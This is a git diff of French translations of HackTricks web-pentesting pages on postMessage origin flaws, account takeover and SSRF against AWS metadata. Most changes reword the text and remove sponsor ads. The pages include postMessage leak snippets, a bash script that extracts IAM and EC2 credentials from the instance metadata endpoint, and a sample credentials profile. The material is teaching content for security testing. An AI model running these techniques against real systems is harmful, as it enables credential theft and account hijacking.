|
Comme expliqué dans [**ce rapport**](https://blog.geekycat.in/google-vrp-hijacking-your-screenshots/), si vous trouvez une page qui peut être **iframée** (pas de protection `X-Frame-Header`) et qui **envoie des messages sensibles** via **postMessage** en utilisant un **joker** (\*), vous pouvez **modifier** l'**origine** de l'**iframe** et **fuiter** le message **sensible** vers un domaine contrôlé par vous.\
|
||||||
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un joker**, cette **astuce ne fonctionnera pas**.
|
Notez que si la page peut être iframée mais que le **targetOrigin** est **défini sur une URL et non sur un joker**, cette **astuce ne fonctionnera pas**.
|
||||||
```markup
|
```markup
|
||||||
<html>
|
<html>
|
||||||
|
@ -93,7 +80,7 @@ return;
|
||||||
// ...
|
// ...
|
||||||
}, false);
|
}, false);
|
||||||
```
|
```
|
||||||
Notez dans ce cas comment la **première chose** que le code fait est **de vérifier l'origine**. C'est terriblement **important**, surtout si la page va faire **quoi que ce soit de sensible** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison** et changent les mots de passe des victimes (dans cet exemple).
|
Notez dans ce cas comment la **première chose** que le code fait est **vérifier l'origine**. C'est terriblement **important**, surtout si la page va faire **quoi que ce soit de sensible** avec les informations reçues (comme changer un mot de passe). **Si elle ne vérifie pas l'origine, les attaquants peuvent faire en sorte que les victimes envoient des données arbitraires à ces points de terminaison** et changer les mots de passe des victimes (dans cet exemple).
|
||||||
|
|
||||||
### Énumération
|
### Énumération
|
||||||
|
|
||||||
|
@ -148,7 +135,7 @@ Dans le contexte de cette vulnérabilité, l'objet `File` est particulièrement
|
||||||
|
|
||||||
Lors de l'intégration d'une page web dans un **iframe sandboxé** en utilisant %%%%%%, il est crucial de comprendre que l'origine de l'iframe sera définie sur null. Cela est particulièrement important lors de la gestion des **attributs sandbox** et de leurs implications sur la sécurité et la fonctionnalité.
|
Lors de l'intégration d'une page web dans un **iframe sandboxé** en utilisant %%%%%%, il est crucial de comprendre que l'origine de l'iframe sera définie sur null. Cela est particulièrement important lors de la gestion des **attributs sandbox** et de leurs implications sur la sécurité et la fonctionnalité.
|
||||||
|
|
||||||
En spécifiant **`allow-popups`** dans l'attribut sandbox, toute fenêtre popup ouverte depuis l'iframe hérite des restrictions de sandbox de son parent. Cela signifie que, à moins que l'attribut **`allow-popups-to-escape-sandbox`** ne soit également inclus, l'origine de la fenêtre popup est également définie sur `null`, s'alignant avec l'origine de l'iframe.
|
En spécifiant **`allow-popups`** dans l'attribut sandbox, toute fenêtre popup ouverte depuis l'iframe hérite des restrictions sandbox de son parent. Cela signifie que, à moins que l'attribut **`allow-popups-to-escape-sandbox`** ne soit également inclus, l'origine de la fenêtre popup est également définie sur `null`, s'alignant avec l'origine de l'iframe.
|
||||||
|
|
||||||
Par conséquent, lorsqu'une popup est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la popup en utilisant **`postMessage`**, les deux extrémités d'envoi et de réception ont leurs origines définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** évalue à vrai (`null == null`), car à la fois l'iframe et la popup partagent la même valeur d'origine de `null`.
|
Par conséquent, lorsqu'une popup est ouverte dans ces conditions et qu'un message est envoyé de l'iframe à la popup en utilisant **`postMessage`**, les deux extrémités d'envoi et de réception ont leurs origines définies sur `null`. Cette situation conduit à un scénario où **`e.origin == window.origin`** évalue à vrai (`null == null`), car à la fois l'iframe et la popup partagent la même valeur d'origine de `null`.
|
||||||
|
|
||||||
|
@ -187,7 +174,7 @@ setTimeout(function(){w.postMessage('text here','*');}, 2000);
|
||||||
```
|
```
|
||||||
### Vol de message envoyé à l'enfant en bloquant la page principale
|
### Vol de message envoyé à l'enfant en bloquant la page principale
|
||||||
|
|
||||||
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la page **principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
|
Dans la page suivante, vous pouvez voir comment vous pourriez voler des **données postmessage sensibles** envoyées à un **iframe enfant** en **bloquant** la **page principale** avant d'envoyer les données et en abusant d'un **XSS dans l'enfant** pour **fuiter les données** avant qu'elles ne soient reçues :
|
||||||
|
|
||||||
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
{% content-ref url="blocking-main-page-to-steal-postmessage.md" %}
|
||||||
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
[blocking-main-page-to-steal-postmessage.md](blocking-main-page-to-steal-postmessage.md)
|
||||||
|
@ -225,9 +212,9 @@ setTimeout(get_code, 2000);
|
||||||
```
|
```
|
||||||
Pour **plus d'informations** :
|
Pour **plus d'informations** :
|
||||||
|
|
||||||
* Lien vers la page sur [**la pollution de prototype**](../deserialization/nodejs-proto-prototype-pollution/)
|
* Lien vers la page sur [**prototype pollution**](../deserialization/nodejs-proto-prototype-pollution/)
|
||||||
* Lien vers la page sur [**XSS**](../xss-cross-site-scripting/)
|
* Lien vers la page sur [**XSS**](../xss-cross-site-scripting/)
|
||||||
* Lien vers la page sur [**la pollution de prototype côté client vers XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
* Lien vers la page sur [**client side prototype pollution to XSS**](../deserialization/nodejs-proto-prototype-pollution/#client-side-prototype-pollution-to-xss)
|
||||||
|
|
||||||
## Références
|
## Références
|
||||||
|
|
||||||
|
@ -235,28 +222,17 @@ Pour **plus d'informations** :
|
||||||
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
* [https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd](https://dev.to/karanbamal/how-to-spot-and-exploit-postmessage-vulnerablities-36cd)
|
||||||
* Pour pratiquer : [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
* Pour pratiquer : [https://github.com/yavolo/eventlistener-xss-recon](https://github.com/yavolo/eventlistener-xss-recon)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
|
|
|
@ -8,26 +8,13 @@ Apprenez & pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Vérifiez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop)!
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal est de lutter contre les prises de contrôle de comptes et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## Prise de Contrôle d'Inscription
|
## Prise de Contrôle d'Inscription
|
||||||
|
|
||||||
|
@ -54,7 +41,7 @@ Dans ce cas, vous pouvez essayer de bruteforcer les identifiants.
|
||||||
|
|
||||||
### Injection SQL
|
### Injection SQL
|
||||||
|
|
||||||
[**Consultez cette page** ](sql-injection/#insert-statement)pour apprendre à tenter des prises de contrôle de comptes ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
|
[**Vérifiez cette page** ](sql-injection/#insert-statement)pour apprendre comment tenter des prises de contrôle de compte ou extraire des informations via des **injections SQL** dans les formulaires d'inscription.
|
||||||
|
|
||||||
### Prises de Contrôle Oauth
|
### Prises de Contrôle Oauth
|
||||||
|
|
||||||
|
@ -76,7 +63,7 @@ Lors de l'inscription, essayez de changer l'email et vérifiez si ce changement
|
||||||
|
|
||||||
* Vérifiez si vous pouvez utiliser des **emails jetables**
|
* Vérifiez si vous pouvez utiliser des **emails jetables**
|
||||||
* **Long** **mot de passe** (>200) entraîne un **DoS**
|
* **Long** **mot de passe** (>200) entraîne un **DoS**
|
||||||
* **Vérifiez les limites de taux sur la création de comptes**
|
* **Vérifiez les limites de taux sur la création de compte**
|
||||||
* Utilisez username@**burp\_collab**.net et analysez le **callback**
|
* Utilisez username@**burp\_collab**.net et analysez le **callback**
|
||||||
|
|
||||||
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
|
## **Prise de Contrôle de Réinitialisation de Mot de Passe**
|
||||||
|
@ -141,7 +128,7 @@ Essayez de déterminer si le jeton expire ou s'il est toujours le même, dans ce
|
||||||
### Fuite du jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
### Fuite du jeton de réinitialisation de mot de passe <a href="#leaking-password-reset-token" id="leaking-password-reset-token"></a>
|
||||||
|
|
||||||
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
|
1. Déclenchez une demande de réinitialisation de mot de passe en utilisant l'API/UI pour un email spécifique, par exemple : test@mail.com
|
||||||
2. Inspectez la réponse du serveur et vérifiez `resetToken`
|
2. Inspectez la réponse du serveur et vérifiez le `resetToken`
|
||||||
3. Ensuite, utilisez le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
3. Ensuite, utilisez le jeton dans une URL comme `https://example.com/v3/user/password/reset?resetToken=[THE_RESET_TOKEN]&email=[THE_MAIL]`
|
||||||
|
|
||||||
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
### Réinitialisation de mot de passe via collision de nom d'utilisateur <a href="#password-reset-via-username-collision" id="password-reset-via-username-collision"></a>
|
||||||
|
@ -189,9 +176,9 @@ Hackerone rapporte l'exploitation de ce bug\
|
||||||
|
|
||||||
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
### Prise de contrôle de compte via JWT <a href="#account-takeover-via-jwt" id="account-takeover-via-jwt"></a>
|
||||||
|
|
||||||
JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
Le JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
||||||
|
|
||||||
* Modifiez le JWT avec un autre ID utilisateur / Email
|
* Modifiez le JWT avec un autre ID d'utilisateur / Email
|
||||||
* Vérifiez la signature JWT faible
|
* Vérifiez la signature JWT faible
|
||||||
|
|
||||||
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
{% content-ref url="hacking-jwt-json-web-tokens.md" %}
|
||||||
|
@ -202,29 +189,18 @@ JSON Web Token peut être utilisé pour authentifier un utilisateur.
|
||||||
|
|
||||||
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
* [https://salmonsec.com/cheatsheet/account\_takeover](https://salmonsec.com/cheatsheet/account\_takeover)
|
||||||
|
|
||||||
### [WhiteIntel](https://whiteintel.io)
|
|
||||||
|
|
||||||
<figure><img src="../.gitbook/assets/image (1227).png" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
[**WhiteIntel**](https://whiteintel.io) est un moteur de recherche alimenté par le **dark-web** qui offre des fonctionnalités **gratuites** pour vérifier si une entreprise ou ses clients ont été **compromis** par des **malwares voleurs**.
|
|
||||||
|
|
||||||
Leur objectif principal avec WhiteIntel est de lutter contre les prises de contrôle de compte et les attaques par ransomware résultant de malwares de vol d'informations.
|
|
||||||
|
|
||||||
Vous pouvez consulter leur site web et essayer leur moteur **gratuitement** à :
|
|
||||||
|
|
||||||
{% embed url="https://whiteintel.io" %}
|
|
||||||
|
|
||||||
{% hint style="success" %}
|
{% hint style="success" %}
|
||||||
Apprenez et pratiquez le Hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
Apprenez et pratiquez le hacking AWS :<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
|
||||||
Apprenez et pratiquez le Hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
Apprenez et pratiquez le hacking GCP : <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)
|
||||||
|
|
||||||
<details>
|
<details>
|
||||||
|
|
||||||
<summary>Soutenir HackTricks</summary>
|
<summary>Soutenir HackTricks</summary>
|
||||||
|
|
||||||
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
* Consultez les [**plans d'abonnement**](https://github.com/sponsors/carlospolop) !
|
||||||
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez-nous sur** **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
* **Rejoignez le** 💬 [**groupe Discord**](https://discord.gg/hRep4RUj7f) ou le [**groupe telegram**](https://t.me/peass) ou **suivez** nous sur **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
|
||||||
* **Partagez des astuces de hacking en soumettant des PRs aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
* **Partagez des astuces de hacking en soumettant des PR aux** [**HackTricks**](https://github.com/carlospolop/hacktricks) et [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) dépôts github.
|
||||||
|
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
|
@ -15,17 +15,9 @@ Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-s
|
||||||
</details>
|
</details>
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
**Try Hard Security Group**
|
|
||||||
|
|
||||||
<figure><img src="/.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>
|
|
||||||
|
|
||||||
{% embed url="https://discord.gg/tryhardsecurity" %}
|
|
||||||
|
|
||||||
***
|
|
||||||
|
|
||||||
## AWS
|
## AWS
|
||||||
|
|
||||||
### Abuser de SSRF dans l'environnement AWS EC2
|
### Abusing SSRF in AWS EC2 environment
|
||||||
|
|
||||||
**Le point de terminaison** des métadonnées peut être accessible depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
**Le point de terminaison** des métadonnées peut être accessible depuis n'importe quelle machine EC2 et offre des informations intéressantes à son sujet. Il est accessible à l'url : `http://169.254.169.254` ([informations sur les métadonnées ici](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/ec2-instance-metadata.html)).
|
||||||
|
|
||||||
|
@ -37,7 +29,7 @@ Notez que si l'instance EC2 applique IMDSv2, [**selon la documentation**](https:
|
||||||
De plus, **IMDSv2** bloquera également **les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`**. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
|
De plus, **IMDSv2** bloquera également **les requêtes pour récupérer un jeton qui incluent l'en-tête `X-Forwarded-For`**. Cela vise à empêcher les proxies inverses mal configurés d'y accéder.
|
||||||
{% endhint %}
|
{% endhint %}
|
||||||
|
|
||||||
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de cela :
|
Vous pouvez trouver des informations sur les [points de terminaison des métadonnées dans la documentation](https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/instancedata-data-categories.html). Dans le script suivant, certaines informations intéressantes sont obtenues à partir de celui-ci :
|
||||||
```bash
|
```bash
|
||||||
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
EC2_TOKEN=$(curl -X PUT "http://169.254.169.254/latest/api/token" -H "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null || wget -q -O - --method PUT "http://169.254.169.254/latest/api/token" --header "X-aws-ec2-metadata-token-ttl-seconds: 21600" 2>/dev/null)
|
||||||
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
HEADER="X-aws-ec2-metadata-token: $EC2_TOKEN"
|
||||||
|
@ -97,7 +89,7 @@ echo ""
|
||||||
echo "EC2 Security Credentials"
|
echo "EC2 Security Credentials"
|
||||||
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
eval $aws_req "$URL/identity-credentials/ec2/security-credentials/ec2-instance"; echo ""
|
||||||
```
|
```
|
||||||
En tant qu'**exemple de credentials IAM disponibles publiquement** exposé, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
En tant qu'**exemple de credentials IAM disponibles publiquement** exposés, vous pouvez visiter : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/iam/security-credentials/flaws)
|
||||||
|
|
||||||
Vous pouvez également vérifier les **credentials de sécurité EC2 publics** à : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
Vous pouvez également vérifier les **credentials de sécurité EC2 publics** à : [http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance](http://4d0cf09b9b2d761a7d87be99d17507bce8b86f3b.flaws.cloud/proxy/169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance)
|
||||||
|
|
||||||
|
@ -110,13 +102,13 @@ aws_access_key_id = ASIA6GG71[...]
|
||||||
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
aws_secret_access_key = a5kssI2I4H/atUZOwBr5Vpggd9CxiT[...]
|
||||||
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
aws_session_token = AgoJb3JpZ2luX2VjEGcaCXVzLXdlc3QtMiJHMEUCIHgCnKJl8fwc+0iaa6n4FsgtWaIikf5mSSoMIWsUGMb1AiEAlOiY0zQ31XapsIjJwgEXhBIW3u/XOfZJTrvdNe4rbFwq2gMIYBAAGgw5NzU0MjYyNjIwMjkiDCvj4qbZSIiiBUtrIiq3A8IfXmTcebRDxJ9BGjNwLbOYDlbQYXBIegzliUez3P/fQxD3qDr+SNFg9w6WkgmDZtjei6YzOc/a9TWgIzCPQAWkn6BlXufS+zm4aVtcgvBKyu4F432AuT4Wuq7zrRc+42m3Z9InIM0BuJtzLkzzbBPfZAz81eSXumPdid6G/4v+o/VxI3OrayZVT2+fB34cKujEOnBwgEd6xUGUcFWb52+jlIbs8RzVIK/xHVoZvYpY6KlmLOakx/mOyz1tb0Z204NZPJ7rj9mHk+cX/G0BnYGIf8ZA2pyBdQyVbb1EzV0U+IPlI+nkIgYCrwTCXUOYbm66lj90frIYG0x2qI7HtaKKbRM5pcGkiYkUAUvA3LpUW6LVn365h0uIbYbVJqSAtjxUN9o0hbQD/W9Y6ZM0WoLSQhYt4jzZiWi00owZJjKHbBaQV6RFwn5mCD+OybS8Y1dn2lqqJgY2U78sONvhfewiohPNouW9IQ7nPln3G/dkucQARa/eM/AC1zxLu5nt7QY8R2x9FzmKYGLh6sBoNO1HXGzSQlDdQE17clcP+hrP/m49MW3nq/A7WHIczuzpn4zv3KICLPIw2uSc7QU6tAEln14bV0oHtHxqC6LBnfhx8yaD9C71j8XbDrfXOEwdOy2hdK0M/AJ3CVe/mtxf96Z6UpqVLPrsLrb1TYTEWCH7yleN0i9koRQDRnjntvRuLmH2ERWLtJFgRU2MWqDNCf2QHWn+j9tYNKQVVwHs3i8paEPyB45MLdFKJg6Ir+Xzl2ojb6qLGirjw8gPufeCM19VbpeLPliYeKsrkrnXWO0o9aImv8cvIzQ8aS1ihqOtkedkAsw=
|
||||||
```
|
```
|
||||||
Remarquez le **aws\_session\_token**, cela est indispensable pour que le profil fonctionne.
|
Remarquez le **aws\_session\_token**, c'est indispensable pour que le profil fonctionne.
|
||||||
|
|
||||||
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges.
|
[**PACU**](https://github.com/RhinoSecurityLabs/pacu) peut être utilisé avec les identifiants découverts pour découvrir vos privilèges et essayer d'escalader les privilèges.
|
||||||
|
|
||||||
### SSRF dans les identifiants AWS ECS (Service de Conteneurs)
|
### SSRF dans les identifiants AWS ECS (Service de Conteneurs)
|
||||||
|
|
||||||
**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service fonctionnant dans **ECS**, les **points de terminaison de métadonnées changent**.
|
**ECS** est un groupe logique d'instances EC2 sur lequel vous pouvez exécuter une application sans avoir à gérer votre propre infrastructure de gestion de cluster, car ECS s'en occupe pour vous. Si vous parvenez à compromettre un service exécuté dans **ECS**, les **points de terminaison de métadonnées changent**.
|
||||||
|
|
||||||
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
Si vous accédez à _**http://169.254.170.2/v2/credentials/\<GUID>**_, vous trouverez les identifiants de la machine ECS. Mais d'abord, vous devez **trouver le \<GUID>**. Pour trouver le \<GUID>, vous devez lire la variable **environ** **AWS\_CONTAINER\_CREDENTIALS\_RELATIVE\_URI** à l'intérieur de la machine.\
|
||||||
